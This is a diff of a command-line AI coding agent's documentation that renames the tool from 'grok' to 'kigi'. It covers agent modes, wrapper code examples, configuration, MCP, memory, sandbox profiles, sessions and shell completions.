 ```bash
-grok agent stdio
+kigi agent stdio
 ```
 
 Communication happens via JSON-RPC over stdin/stdout. This mode is used by:
@@ -745,7 +745,7 @@ Communication happens via JSON-RPC over stdin/stdout. This mode is used by:
 
 | Flag                  | Description                                                                         |
 | --------------------- | ----------------------------------------------------------------------------------- |
-| `-m, --model <MODEL>` | Override the default model ID (e.g., `grok-build`)                           |
+| `-m, --model <MODEL>` | Override the default model ID (e.g., `kigi`)                           |
 | `--always-approve`    | Start in always-approve mode (auto-approve all tool executions without confirmation) |
 | `--reauth`            | Force re-authentication flow                                                        |
 
@@ -755,7 +755,7 @@ Communication happens via JSON-RPC over stdin/stdout. This mode is used by:
 To expose the agent over the internet (instead of local network), run a WebSocket relay server and have the agent connect to it:
 
 ```bash
-grok agent headless --grok-ws-url wss://your-relay.example.com/ws
+kigi agent headless --kigi-ws-url wss://your-relay.example.com/ws
 ```
 
 The agent connects OUT to your relay, and your web clients connect to the same relay. Useful for building web UIs where browsers can't spawn local processes.
@@ -764,31 +764,31 @@ The agent connects OUT to your relay, and your web clients connect to the same r
 
 ---
 
-## SSH Passthrough (`grok ssh`)
+## SSH Passthrough (`kigi ssh`)
 
-Use `grok ssh` instead of plain `ssh` when connecting to remote hosts in terminals that lack native support (e.g. Apple Terminal) for local OSC 52 clipboard interception.
+Use `kigi ssh` instead of plain `ssh` when connecting to remote hosts in terminals that lack native support (e.g. Apple Terminal) for local OSC 52 clipboard interception.
 
 ```bash
 # Basic usage (same args as ssh)
-grok ssh user@host
+kigi ssh user@host
 
 # With SSH flags
-grok ssh -t user@host
-grok ssh -L 8080:localhost:8080 user@host
+kigi ssh -t user@host
+kigi ssh -L 8080:localhost:8080 user@host
 
 # With remote command
-grok ssh user@host -- tmux attach
+kigi ssh user@host -- tmux attach
 ```
 
-On macOS, if the terminal doesn't natively handle OSC 52, `grok ssh` runs SSH inside a local PTY that intercepts clipboard sequences and writes them to `pbcopy`. Both plain OSC 52 and tmux DCS passthrough are handled. Terminals with native OSC 52 (iTerm2, Ghostty, Kitty, WezTerm, Alacritty) get a plain `ssh` exec with no wrapper.
+On macOS, if the terminal doesn't natively handle OSC 52, `kigi ssh` runs SSH inside a local PTY that intercepts clipboard sequences and writes them to `pbcopy`. Both plain OSC 52 and tmux DCS passthrough are handled. Terminals with native OSC 52 (iTerm2, Ghostty, Kitty, WezTerm, Alacritty) get a plain `ssh` exec with no wrapper.
 
 This runs entirely locally.
 
 ---
 
-## Building with Grok
+## Building with Kigi
 
-Grok can be used as an OpenAI-compatible chat completion backend. Choose between two integration modes:
+Kigi can be used as an OpenAI-compatible chat completion backend. Choose between two integration modes:
 
 | Mode         | Use Case                                                           |
 | ------------ | ------------------------------------------------------------------ |
@@ -799,7 +799,7 @@ Grok can be used as an OpenAI-compatible chat completion backend. Choose between
 
 ### Headless Mode (Simple Chat Completion)
 
-Use headless mode for simple integrations. Spawns `grok -p` and parses JSON output.
+Use headless mode for simple integrations. Spawns `kigi -p` and parses JSON output.
 
 #### Python - Headless
 
@@ -808,7 +808,7 @@ import asyncio
 import json
 import os
 
-class GrokChat:
+class KigiChat:
     """Simple OpenAI-compatible wrapper using headless mode."""
 
     def __init__(self, cwd="."):
@@ -816,10 +816,10 @@ class GrokChat:
         self.env = {**os.environ}
 
     def _build_cmd(self, prompt, model, stream):
-        return ["grok", "-p", prompt, "-m", model, "--cwd", self.cwd,
+        return ["kigi", "-p", prompt, "-m", model, "--cwd", self.cwd,
                 "--output-format", "streaming-json" if stream else "json", "--always-approve"]
 
-    async def create(self, messages, model="grok-build", stream=False):
+    async def create(self, messages, model="kigi", stream=False):
         prompt = messages[-1]["content"] if len(messages) == 1 else "\n".join(
             f"{m['role']}: {m['content']}" for m in messages
         )
@@ -856,7 +856,7 @@ class GrokChat:
 
 # Usage
 async def main():
-    client = GrokChat(cwd=".")
+    client = KigiChat(cwd=".")
 
     # Non-streaming
     response = await client.create([{"role": "user", "content": "What files are here?"}])
@@ -876,7 +876,7 @@ asyncio.run(main())
 ```typescript
 import { execa } from "execa";
 
-class GrokChat {
+class KigiChat {
   constructor(private cwd = ".") {}
 
   private buildArgs(prompt: string, model: string, stream: boolean) {
@@ -895,7 +895,7 @@ class GrokChat {
 
   async create(
     messages: { role: string; content: string }[],
-    { model = "grok-build", stream = false } = {},
+    { model = "kigi", stream = false } = {},
   ) {
     const prompt =
       messages.length === 1
@@ -905,7 +905,7 @@ class GrokChat {
     if (stream) return this.streamResponse(prompt, model);
 
     const { stdout } = await execa(
-      "grok",
+      "kigi",
       this.buildArgs(prompt, model, false),
     );
     const data = JSON.parse(stdout || '{"text":""}');
@@ -920,7 +920,7 @@ class GrokChat {
   }
 
   async *streamResponse(prompt: string, model: string) {
-    const proc = execa("grok", this.buildArgs(prompt, model, true));
+    const proc = execa("kigi", this.buildArgs(prompt, model, true));
     for await (const chunk of proc.stdout!) {
       for (const line of chunk.toString().split("\n").filter(Boolean)) {
         const event = JSON.parse(line);
@@ -935,7 +935,7 @@ class GrokChat {
 }
 
 // Usage
-const client = new GrokChat(".");
+const client = new KigiChat(".");
 
 // Non-streaming
 const response = await client.create([
@@ -964,7 +964,7 @@ Use the Agent Client Protocol for full access to tool calls, thoughts, plans, an
 import asyncio
 import json
 
-class GrokACPChat:
+class KigiACPChat:
     """Rich OpenAI-compatible wrapper using ACP protocol."""
 
     def __init__(self, cwd="."):
@@ -974,7 +974,7 @@ class GrokACPChat:
 
     async def init(self):
         self.proc = await asyncio.create_subprocess_exec(
-            "grok", "agent", "stdio",
+            "kigi", "agent", "stdio",
             stdin=asyncio.subprocess.PIPE,
             stdout=asyncio.subprocess.PIPE
         )
@@ -1004,7 +1004,7 @@ class GrokACPChat:
         line = await self.proc.stdout.readline()
         return json.loads(line).get("result", {})
 
-    async def create(self, messages, model="grok-build", stream=False):
+    async def create(self, messages, model="kigi", stream=False):
         prompt = [{"type": "text", "text": m["content"]} for m in messages]
 
         # For streaming, yield chunks as they arrive
@@ -1065,7 +1065,7 @@ class GrokACPChat:
 
 # Usage
 async def main():
-    client = await GrokACPChat(cwd=".").init()
+    client = await KigiACPChat(cwd=".").init()
 
     # Streaming with rich updates
     async for chunk in await client.create(
@@ -1091,7 +1091,7 @@ asyncio.run(main())
 import { spawn, ChildProcess } from "child_process";
 import * as readline from "readline";
 
-class GrokACPChat {
+class KigiACPChat {
   private proc!: ChildProcess;
   private sessionId!: string;
   private rl!: readline.Interface;
@@ -1099,7 +1099,7 @@ class GrokACPChat {
   constructor(private cwd = ".") {}
 
   async init() {
-    this.proc = spawn("grok", ["agent", "stdio"]);
+    this.proc = spawn("kigi", ["agent", "stdio"]);
     this.rl = readline.createInterface({ input: this.proc.stdout! });
 
     // Initialize
@@ -1133,7 +1133,7 @@ class GrokACPChat {
 
   async create(
     messages: { role: string; content: string }[],
-    { model = "grok-build", stream = false } = {},
+    { model = "kigi", stream = false } = {},
   ) {
     const prompt = messages.map((m) => ({ type: "text", text: m.content }));
 
@@ -1203,7 +1203,7 @@ class GrokACPChat {
 }
 
 // Usage
-const client = await new GrokACPChat(".").init();
+const client = await new KigiACPChat(".").init();
 
 // Streaming with rich updates
 for await (const chunk of await client.create(
@@ -1223,7 +1223,7 @@ for await (const chunk of await client.create(
 
 ### ACP Protocol Reference
 
-Grok implements the [Agent Client Protocol (ACP)](https://agentclientprotocol.com), a standard for AI agent communication.
+Kigi implements the [Agent Client Protocol (ACP)](https://agentclientprotocol.com), a standard for AI agent communication.
 
 #### Architecture
 
@@ -1234,7 +1234,7 @@ Grok implements the [Agent Client Protocol (ACP)](https://agentclientprotocol.co
 └──────────────────┬──────────────────────┘
                    │ JSON-RPC over stdio
 ┌──────────────────▼──────────────────────┐
-│           grok agent stdio              │
+│           kigi agent stdio              │
 │                                         │
 │  ┌─────────┐  ┌─────────┐  ┌─────────┐  │
 │  │ Session │  │  Tools  │  │   MCP   │  │
@@ -1272,7 +1272,7 @@ Grok implements the [Agent Client Protocol (ACP)](https://agentclientprotocol.co
 
 ## Configuration
 
-Grok reads configuration from `~/.kigi/config.toml`. If the file doesn't exist, Grok uses sensible defaults. You only need to specify values you want to override.
+Kigi reads configuration from `~/.kigi/config.toml`. If the file doesn't exist, Kigi uses sensible defaults. You only need to specify values you want to override.
 
 Each feature section below documents its own config. This section covers the general-purpose settings that don't have their own top-level section.
 
@@ -1283,7 +1283,7 @@ Each feature section below documents its own config. This section covers the gen
 auto_update = true                     # check for updates on launch
 
 [models]
-default = "grok-build"           # model used for new sessions
+default = "kigi"           # model used for new sessions
 
 [ui]
 max_thoughts_width = 120               # max column width for reasoning display
@@ -1334,18 +1334,18 @@ When building from source, defaults can also be baked into the binary at compile
 
 ### LSP Servers
 
-Grok can connect to Language Server Protocol (LSP) servers configured in JSON files. LSP integration gives Grok language-aware code intelligence while it works in your repository.
+Kigi can connect to Language Server Protocol (LSP) servers configured in JSON files. LSP integration gives Kigi language-aware code intelligence while it works in your repository.
 
 LSP support is used in two ways:
 
-- **Passive diagnostics** — after edits, Grok can surface language-server diagnostics such as errors and warnings.
-- **The `lsp` tool** — Grok can actively query the language server for `goToDefinition`, `findReferences`, `hover`, `goToImplementation`, `documentSymbol`, and `workspaceSymbol`.
+- **Passive diagnostics** — after edits, Kigi can surface language-server diagnostics such as errors and warnings.
+- **The `lsp` tool** — Kigi can actively query the language server for `goToDefinition`, `findReferences`, `hover`, `goToImplementation`, `documentSymbol`, and `workspaceSymbol`.
 
 Reference: [Language Server Protocol](https://microsoft.github.io/language-server-protocol/)
 
 #### Config locations
 
-Grok looks for server definitions in:
+Kigi looks for server definitions in:
 
 - project config: `<repo>/.kigi/lsp.json`
 - user config: `~/.kigi/lsp.json`
@@ -1362,7 +1362,7 @@ Having an `lsp.json` file is enough for passive diagnostics. The model-visible `
 Enable the tool for one run:
 
 ```bash
-KIGI_LSP_TOOLS=1 grok
+KIGI_LSP_TOOLS=1 kigi
 ```
 
 Or enable it in config:
@@ -1372,7 +1372,7 @@ Or enable it in config:
 lsp_tools = true
 ```
 
-If LSP tools are enabled but no usable server config is found, Grok emits a non-fatal warning in logs and continues without the `lsp` tool. If config exists but every server fails to start, the tool may still be present and will fail on first use with a startup error.
+If LSP tools are enabled but no usable server config is found, Kigi emits a non-fatal warning in logs and continues without the `lsp` tool. If config exists but every server fails to start, the tool may still be present and will fail on first use with a startup error.
 
 #### Example `lsp.json`
 
@@ -1414,7 +1414,7 @@ If LSP tools are enabled but no usable server config is found, Grok emits a non-
 
 #### Installing language servers
 
-Grok does not bundle language server binaries. You must install the server yourself and make sure the configured `command` is runnable on your machine.
+Kigi does not bundle language server binaries. You must install the server yourself and make sure the configured `command` is runnable on your machine.
 
 Examples:
 
@@ -1446,12 +1446,12 @@ auth_provider_label = "Acme Corp"
 auth_token_ttl = 3600               # if your provider outputs bare tokens
 
 [models]
-default = "company-grok"
+default = "company-kigi"
 
-[model.company-grok]
-model = "grok-build"
-base_url = "https://grok-proxy.acme.com/"
-name = "Grok Build Latest (Proxy)"
+[model.company-kigi]
+model = "kigi"
+base_url = "https://kigi-proxy.acme.com/"
+name = "Kigi Latest (Proxy)"
 context_window = 256000
 
 [features]
@@ -1462,21 +1462,21 @@ telemetry = false
 timeout_secs = 120.0
 ```
 
-With this config, `grok` runs your auth binary, stores the token, and routes inference through your corporate proxy. See [Authentication](#authentication) for full auth setup details.
+With this config, `kigi` runs your auth binary, stores the token, and routes inference through your corporate proxy. See [Authentication](#authentication) for full auth setup details.
 
 ---
 
 ## AGENTS.md
 
-Add project-specific instructions by creating an agent rules file (e.g., `AGENTS.md`). Grok reads these files and appends their contents to the system prompt.
+Add project-specific instructions by creating an agent rules file (e.g., `AGENTS.md`). Kigi reads these files and appends their contents to the system prompt.
 
-Grok scans for agent rules in this order:
+Kigi scans for agent rules in this order:
 
 1. `~/.kigi/` (global rules)
 2. If inside a git repo: every directory from the repo root → current working directory (inclusive)
 3. If **not** inside a git repo: only the current working directory
 
-Within each directory, Grok checks for these filenames:
+Within each directory, Kigi checks for these filenames:
 
 - `Agents.md`, `Claude.md`, `AGENT.md`, `AGENTS.md`
 
@@ -1488,11 +1488,11 @@ Ordering matters: files found later (deeper directories) come last, so they effe
 
 ## Skills
 
-Skills are reusable prompt packages that extend Grok with specialized workflows, domain knowledge, and tool integrations. Use them to encode repeatable procedures that would otherwise require re-explaining each session.
+Skills are reusable prompt packages that extend Kigi with specialized workflows, domain knowledge, and tool integrations. Use them to encode repeatable procedures that would otherwise require re-explaining each session.
 
 ### Skill Locations
 
-Grok discovers skills from these directories (in priority order):
+Kigi discovers skills from these directories (in priority order):
 
 | Location                    | Scope | Priority |
 | --------------------------- | ----- | -------- |
@@ -1550,7 +1550,7 @@ Review staged changes and create a commit with a clear, conventional message.
 | Field         | Description                                                                  |
 | ------------- | ---------------------------------------------------------------------------- |
 | `name`        | Skill identifier (lowercase, hyphens, max 64 chars)                          |
-| `description` | What the skill does and when to use it—this is how Grok decides to invoke it |
+| `description` | What the skill does and when to use it—this is how Kigi decides to invoke it |
 
 ### Using Skills
 
@@ -1565,9 +1565,9 @@ Review staged changes and create a commit with a clear, conventional message.
 
 **Slash command shorthand:**
 
-Users can reference skills as `/skill-name` (e.g., `/commit`). When you see this pattern, Grok invokes the corresponding skill.
+Users can reference skills as `/skill-name` (e.g., `/commit`). When you see this pattern, Kigi invokes the corresponding skill.
 
-> **Tip:** The `description` field is critical — it determines when Grok automatically invokes the skill. Be specific about trigger phrases and use cases.
+> **Tip:** The `description` field is critical — it determines when Kigi automatically invokes the skill. Be specific about trigger phrases and use cases.
 
 ---
 
@@ -1575,12 +1575,12 @@ Users can reference skills as `/skill-name` (e.g., `/commit`). When you see this
 
 Agent profiles control the system prompt, toolset, and behavior of a session. A profile is a `.md` file with YAML frontmatter, or a named agent discovered from disk.
 
-Grok discovers agent definitions from `.kigi/agents/` (project), `~/.kigi/agents/` (user), and built-in agents. Priority (highest wins):
+Kigi discovers agent definitions from `.kigi/agents/` (project), `~/.kigi/agents/` (user), and built-in agents. Priority (highest wins):
 
 1. `--agent-profile <PATH>` CLI flag
 2. `[agent]` section in `config.toml`
 3. `KIGI_AGENT` env var
-4. Default `grok-build` agent
+4. Default `kigi` agent
 
 ```toml
 # ~/.kigi/config.toml
@@ -1590,7 +1590,7 @@ name = "my-custom-agent"             # Discovered by name
 ```
 
 ```bash
-grok --agent-profile ./my-agent.md
+kigi --agent-profile ./my-agent.md
 # or
 export KIGI_AGENT="my-custom-agent"
 ```
@@ -1623,7 +1623,7 @@ explore = true                       # default — omitted agents are enabled
 plan = false                         # disable plan subagent
 
 [subagents.models]
-explore = "grok-build"              # route explore to a lighter model
+explore = "kigi"              # route explore to a lighter model
 ```
 
 By default a subagent inherits the parent session's model. Only an explicit
@@ -1639,7 +1639,7 @@ Roles define reusable capability/model defaults. Personas layer tone and behavio
 [subagents.roles.researcher]
 description = "Deep research agent"
 default_capability_mode = "read-only"
-model = "grok-build"
+model = "kigi"
 prompt_file = ".kigi/prompts/researcher.md"
 
 [subagents.personas.concise]
@@ -1653,7 +1653,7 @@ Both are also discovered from `.kigi/roles/*.toml` and `.kigi/personas/*.toml` f
 
 ## Plugins
 
-Plugins extend Grok with additional tools, skills, and MCP servers from external packages.
+Plugins extend Kigi with additional tools, skills, and MCP servers from external packages.
 
 ### Plugin Locations
 
@@ -1680,7 +1680,7 @@ Manage plugins at runtime with `/plugins list`, `/plugins reload`, or `/plugins
 
 Hooks run project scripts on tool and session lifecycle events (pre/post-tool-use, session start/end). Projects must be explicitly trusted before their hooks execute.
 
-Grok discovers hooks from `.kigi/hooks/` in the project directory. Manage them with:
+Kigi discovers hooks from `.kigi/hooks/` in the project directory. Manage them with:
 
 ```
 /hooks-list              # show hooks loaded in this session
@@ -1712,9 +1712,9 @@ max_completion_tokens = 8192          # Max tokens per response
 context_window = 256000               # Total context window in tokens (for auto-compact)
 ```
 
-**Credential resolution order:** `api_key` → `env_key` → `XAI_API_KEY`. If neither `api_key` nor `env_key` is set, Grok falls back to the global `XAI_API_KEY` environment variable.
+**Credential resolution order:** `api_key` → `env_key` → `XAI_API_KEY`. If neither `api_key` nor `env_key` is set, Kigi falls back to the global `XAI_API_KEY` environment variable.
 
-The `context_window` parameter is used to calculate when auto-compact should trigger. If not specified, Grok falls back to built-in defaults for known models.
+The `context_window` parameter is used to calculate when auto-compact should trigger. If not specified, Kigi falls back to built-in defaults for known models.
 
 ### Overriding Built-in Models
 
@@ -1731,7 +1731,7 @@ temperature = 0.5
 api_key = "sk-custom"
 ```
 
-**How it works:** When you override a built-in model, Grok starts with the default configuration (including the correct `base_url` from your `[endpoints]` setting), then applies only the fields you specify. Unspecified fields inherit from the default.
+**How it works:** When you override a built-in model, Kigi starts with the default configuration (including the correct `base_url` from your `[endpoints]` setting), then applies only the fields you specify. Unspecified fields inherit from the default.
 
 **Priority order:**
 1. Your config (`[model.*]`) — highest priority
@@ -1783,13 +1783,13 @@ env_key = "OPENAI_API_KEY"
 
 ```bash
 # List available models (including custom)
-grok models
+kigi models
 
 # Use in TUI via slash command
 /model my-model
 
 # Use in headless mode
-grok -p "Hello" -m my-model
+kigi -p "Hello" -m my-model
 
 # Set as default
 # In config.toml:
@@ -1799,7 +1799,7 @@ default = "my-model"
 
 ### Custom Models Endpoint
 
-Point Grok at a custom OpenAI-compatible `/v1/models` endpoint instead of the default cli-chat-proxy. Useful when models are served behind a corporate gateway or self-hosted inference stack.
+Point Kigi at a custom OpenAI-compatible `/v1/models` endpoint instead of the default cli-chat-proxy. Useful when models are served behind a corporate gateway or self-hosted inference stack.
 
 **Environment variables:**
 
@@ -1814,10 +1814,10 @@ Point Grok at a custom OpenAI-compatible `/v1/models` endpoint instead of the de
 ```bash
 export KIGI_MODELS_BASE_URL="https://api.acme.com/v1"
 export XAI_API_KEY="xai-..."
-grok
+kigi
 ```
 
-Grok fetches the model list from `{KIGI_MODELS_BASE_URL}/models` on startup and sends inference requests to `KIGI_MODELS_BASE_URL`. This follows the standard OpenAI-compatible convention used by OpenAI, Anthropic, OpenRouter, Groq, Together.ai, and others.
+Kigi fetches the model list from `{KIGI_MODELS_BASE_URL}/models` on startup and sends inference requests to `KIGI_MODELS_BASE_URL`. This follows the standard OpenAI-compatible convention used by OpenAI, Anthropic, OpenRouter, Groq, Together.ai, and others.
 
 If your model list endpoint differs from `{base_url}/models`, set `KIGI_MODELS_LIST_URL` explicitly.
 
@@ -1834,13 +1834,13 @@ api_key = "my-api-key"
 
 When using `[endpoints]` with partial model overrides, the `base_url` is inherited from the endpoints config — you don't need to specify it in each `[model.*]` section.
 
-**Auth behavior:** When `models_base_url` is set, Grok uses API key auth (`Authorization: Bearer`) instead of session auth. `grok login` is not required — only the API key.
+**Auth behavior:** When `models_base_url` is set, Kigi uses API key auth (`Authorization: Bearer`) instead of session auth. `kigi login` is not required — only the API key.
 
 ---
 
 ## MCP Servers
 
-Extend Grok's capabilities with [Model Context Protocol](https://modelcontextprotocol.io) servers.
+Extend Kigi's capabilities with [Model Context Protocol](https://modelcontextprotocol.io) servers.
 
 ### Configuration
 
@@ -1860,7 +1860,7 @@ tool_timeouts = { create_issue = 120, search = 30 }  # Per-tool timeout override
 
 ### Project-Scoped MCP Servers
 
-MCP servers can also be configured per-project in `.kigi/config.toml`. Grok walks from the current directory up to the git repo root, loading `.kigi/config.toml` at each level:
+MCP servers can also be configured per-project in `.kigi/config.toml`. Kigi walks from the current directory up to the git repo root, loading `.kigi/config.toml` at each level:
 
 | Location                        | Scope             | Priority |
 | ------------------------------- | ----------------- | -------- |
@@ -1959,7 +1959,7 @@ See the [MCP Server Registry](https://github.com/modelcontextprotocol/servers) f
 
 > **Experimental:** requires `--experimental-memory` (or `KIGI_MEMORY=1` / `[memory] enabled = true` in config).
 
-Cross-session memory lets Grok remember facts, decisions, code patterns, and debugging workflows across separate sessions in the same project.
+Cross-session memory lets Kigi remember facts, decisions, code patterns, and debugging workflows across separate sessions in the same project.
 
 ### How it works
 
@@ -1976,11 +1976,11 @@ An SQLite index enables fast hybrid search (FTS5 keyword + optional vector KNN)
 
 ```bash
 # Per-session flag
-grok --experimental-memory
+kigi --experimental-memory
 
 # Environment variable (persists for the shell session)
 export KIGI_MEMORY=1
-grok
+kigi
 
 # Config file (persists permanently)
 # ~/.kigi/config.toml
@@ -1990,7 +1990,7 @@ enabled = true
 
 ### What gets saved automatically
 
-At the end of each session, Grok saves a **structured metadata summary** to the daily session log:
+At the end of each session, Kigi saves a **structured metadata summary** to the daily session log:
 - Message counts (user / assistant / tool)
 - Topics — the first few real user prompts from the session
 - Tool-usage breakdown (e.g., `read_file: 4, search_replace: 3`)
@@ -2028,7 +2028,7 @@ Omit `workspace` or `global` and it defaults to workspace scope.
 
 ### Searching memory
 
-Grok searches memory automatically on the first turn of each session and after compaction. The first-turn injection can be disabled or given its own score threshold under `[memory.initial_injection]`. You can also invoke `memory_search` and `memory_get` directly via the model prompt:
+Kigi searches memory automatically on the first turn of each session and after compaction. The first-turn injection can be disabled or given its own score threshold under `[memory.initial_injection]`. You can also invoke `memory_search` and `memory_get` directly via the model prompt:
 
 ```
 Search memory for "auth middleware patterns"
@@ -2039,13 +2039,13 @@ Read my workspace MEMORY.md
 
 ```bash
 # Open workspace MEMORY.md in $EDITOR / $VISUAL
-grok memory edit
+kigi memory edit
 
 # Open global MEMORY.md
-grok memory edit --global
+kigi memory edit --global
 
 # Show memory statistics: file count, chunk count, and index size
-grok memory stats
+kigi memory stats
 ```
 
 ### Configuration reference
@@ -2066,7 +2066,7 @@ Key options under `[memory]` in `~/.kigi/config.toml`:
 
 ### Observability
 
-When first-turn memory injection runs, Grok emits the `grok-shell-memory_injection`
+When first-turn memory injection runs, Kigi emits the `kigi-shell-memory_injection`
 telemetry event. It includes:
 - whether the greeting fallback query path was used
 - result counts and top score
@@ -2076,7 +2076,7 @@ telemetry event. It includes:
 
 ## Sandbox
 
-Grok can restrict what the agent process and its spawned commands can access on
+Kigi can restrict what the agent process and its spawned commands can access on
 your filesystem and network using OS-level kernel primitives (Landlock on Linux,
 Seatbelt on macOS). This is off by default.
 
@@ -2084,13 +2084,13 @@ Seatbelt on macOS). This is off by default.
 
 ```bash
 # Run with workspace sandbox (read everywhere, write only to CWD + /tmp)
-grok --sandbox workspace
+kigi --sandbox workspace
 
 # Read-only mode (agent can read but not write anything)
-grok --sandbox read-only
+kigi --sandbox read-only
 
 # Maximum isolation (read/write CWD only, no child network)
-grok --sandbox strict
+kigi --sandbox strict
 ```
 
 ### Built-in Profiles
@@ -2128,12 +2128,12 @@ deny = ["/data/shared-secrets"]
 Use it:
 
 ```bash
-grok --sandbox devbox
+kigi --sandbox devbox
 ```
 
 ### How It Works
 
-The sandbox is applied to the **entire grok process** at startup using kernel
+The sandbox is applied to the **entire kigi process** at startup using kernel
 primitives — not per-command wrapping. This means all tool operations are
 covered:
 
@@ -2148,7 +2148,7 @@ model cannot convince the agent to relax restrictions at runtime.
 
 - **Platform support**: Sandbox enforcement uses Landlock on Linux (kernel ≥ 5.13)
   and Seatbelt on macOS. If the sandbox cannot be applied (e.g., unsupported
-  kernel, missing entitlements), Grok logs a warning and continues without
+  kernel, missing entitlements), Kigi logs a warning and continues without
   enforcement.
 
 - **Network restrictions are partial**: Profiles with `restrict_network` block
@@ -2166,11 +2166,11 @@ for telemetry and debugging.
 
 ## Introspection
 
-Use `grok inspect` to see everything Grok discovers in the current directory:
+Use `kigi inspect` to see everything Kigi discovers in the current directory:
 
 ```bash
-grok inspect          # human-readable output
-grok inspect --json   # machine-readable JSON
+kigi inspect          # human-readable output
+kigi inspect --json   # machine-readable JSON
 ```
 
 The output shows all loaded configuration organized by type:
@@ -2190,11 +2190,11 @@ Plugin-provided components appear in their respective sections with a `[plugin:
 
 ## Claude Code Compatibility
 
-Grok automatically discovers configuration from Claude Code directories alongside native `.kigi/` paths. No extra setup is needed.
+Kigi automatically discovers configuration from Claude Code directories alongside native `.kigi/` paths. No extra setup is needed.
 
 ### What is picked up
 
-| Component         | Claude Code location                                 | How Grok uses it                 |
+| Component         | Claude Code location                                 | How Kigi uses it                 |
 | ----------------- | ---------------------------------------------------- | -------------------------------- |
 | **Skills**        | `.claude/skills/`, `~/.claude/skills/`               | Loaded as skills (same as `.kigi/skills/`) |
 | **Agents**        | `.claude/agents/`, `~/.claude/agents/`               | Loaded as subagents              |
@@ -2207,13 +2207,13 @@ Grok automatically discovers configuration from Claude Code directories alongsid
 
 ### Plugin components
 
-Claude Code plugins can provide skills (`skills/`), commands (`commands/`), agents (`agents/`), hooks (`hooks/hooks.json`), MCP servers (`.mcp.json`), and LSP servers (`.lsp.json`). All component types are discovered and used by Grok at runtime.
+Claude Code plugins can provide skills (`skills/`), commands (`commands/`), agents (`agents/`), hooks (`hooks/hooks.json`), MCP servers (`.mcp.json`), and LSP servers (`.lsp.json`). All component types are discovered and used by Kigi at runtime.
 
 ---
 
 ## Built-in Tools
 
-Grok includes these tools by default:
+Kigi includes these tools by default:
 
 | Tool             | Description                                                    |
 | ---------------- | -------------------------------------------------------------- |
@@ -2262,7 +2262,7 @@ When no custom `allowed_domains` is set, the tool permits a default allowlist of
 
 ## Session Persistence
 
-Grok automatically persists conversations to disk. This works across all modes: TUI, headless, and agent stdio.
+Kigi automatically persists conversations to disk. This works across all modes: TUI, headless, and agent stdio.
 
 ### Storage Layout
 
@@ -2299,23 +2299,23 @@ Control session behavior with flags:
 
 ```bash
 # New session each time (default)
-grok -p "Hello"
+kigi -p "Hello"
 
 # Create or resume a named session
-grok -p "Remember: X=42" -s my-session
-grok -p "What is X?" -s my-session
+kigi -p "Remember: X=42" -s my-session
+kigi -p "What is X?" -s my-session
 
 # Resume existing session (errors if not found)
-grok -p "Continue" -r my-session
+kigi -p "Continue" -r my-session
 
 # Continue most recent session in current directory
-grok -p "What were we doing?" -c
+kigi -p "What were we doing?" -c
 ```
 
 Session ID is returned in JSON output:
 
 ```bash
-grok -p "Hello" --output-format json | jq -r '.sessionId'
+kigi -p "Hello" --output-format json | jq -r '.sessionId'
 ```
 
 ### Agent stdio (ACP)
@@ -2395,7 +2395,7 @@ The agent persists all session updates automatically. Clients can reconnect and
 
 ## Shell Completions
 
-Generate completions for your shell and install them to enable tab completion for `grok` commands and flags.
+Generate completions for your shell and install them to enable tab completion for `kigi` commands and flags.
 
 **Note:** The paths below are recommended defaults. Some environments do not automatically source the standard locations — you may need to adapt them to your shell framework or distro conventions.
 
@@ -2405,22 +2405,22 @@ Generate and install:
 
 ```bash
 mkdir -p ~/.local/share/bash-completion/completions
-grok completions bash > ~/.local/share/bash-completion/completions/grok
+kigi completions bash > ~/.local/share/bash-completion/completions/kigi
 ```
 
 Reload your shell or run `source ~/.bashrc`.
 
-Alternative (Grok-managed location):
+Alternative (Kigi-managed location):
 
 ```bash
 mkdir -p ~/.kigi/completions/bash
-grok completions bash > ~/.kigi/completions/bash/grok.bash
+kigi completions bash > ~/.kigi/completions/bash/kigi.bash
 ```
 
 Add to `~/.bashrc`:
 
 ```bash
-[[ -r "$HOME/.kigi/completions/bash/grok.bash" ]] && source "$HOME/.kigi/completions/bash/grok.bash"
+[[ -r "$HOME/.kigi/completions/bash/kigi.bash" ]] && source "$HOME/.kigi/completions/bash/kigi.bash"
 ```
 
 ### Zsh
@@ -2429,7 +2429,7 @@ Generate and install:
 
 ```bash
 mkdir -p ~/.zsh/completions
-grok completions zsh > ~/.zsh/completions/_grok
+kigi completions zsh > ~/.zsh/completions/_kigi
 ```
 
 Add to `~/.zshrc`:
@@ -2440,11 +2440,11 @@ autoload -Uz compinit
 compinit
 ```
 
-Alternative (Grok-managed location):
+Alternative (Kigi-managed location):
 
 ```bash
 mkdir -p ~/.kigi/completions/zsh
-grok completions zsh > ~/.kigi/completions/zsh/_grok
+kigi completions zsh > ~/.kigi/completions/zsh/_kigi
 ```
 
 Add to `~/.zshrc`:
@@ -2457,7 +2457,7 @@ compinit
 
 ### After Upgrading
 
-Regenerate completions after upgrading `grok` — the script reflects the CLI of the installed version.
+Regenerate completions after upgrading `kigi` — the script reflects the CLI of the installed version.
 
 ---
 
@@ -2465,14 +2465,14 @@ Regenerate completions after upgrading `grok` — the script reflects the CLI of
 
 ### Debug logging
 
-Write logs to a file for debugging. The TUI captures stderr, so `RUST_LOG` alone won't produce visible output in production — use `grok --debug` or `KIGI_LOG_FILE` instead:
+Write logs to a file for debugging. The TUI captures stderr, so `RUST_LOG` alone won't produce visible output in production — use `kigi --debug` or `KIGI_LOG_FILE` instead:
 
 ```bash
 # Per-session debug log (~/.kigi/debug/<sessionId>.txt)
-grok --debug
+kigi --debug
 
 # Log to a custom path
-KIGI_LOG_FILE=/tmp/grok-debug.log grok
+KIGI_LOG_FILE=/tmp/kigi-debug.log kigi
 
 # Tail the most-recently-opened session's log in another terminal (Unix symlink)
 tail -f ~/.kigi/debug/latest.txt
@@ -2482,25 +2482,25 @@ The `--debug` firehose uses a fixed filter (first-party crates at `debug`) and i
 
 ```bash
 # Debug auth, info for everything else
-KIGI_LOG_FILE=/tmp/grok-debug.log RUST_LOG="info,kigi_shell::auth=debug" grok
+KIGI_LOG_FILE=/tmp/kigi-debug.log RUST_LOG="info,kigi_shell::auth=debug" kigi
 ```
 
 ### Authentication fails
 
 ```bash
 # Clear credentials and re-login
-grok login
+kigi login
 
 # Debug auth issues — check the log for "auth:" entries
-grok --debug-file /tmp/grok-auth.log -p "hello"
-grep "auth:" /tmp/grok-auth.log
+kigi --debug-file /tmp/kigi-auth.log -p "hello"
+grep "auth:" /tmp/kigi-auth.log
 ```
 
 ### Model not found
 
 ```bash
 # List available models
-grok models
+kigi models
 
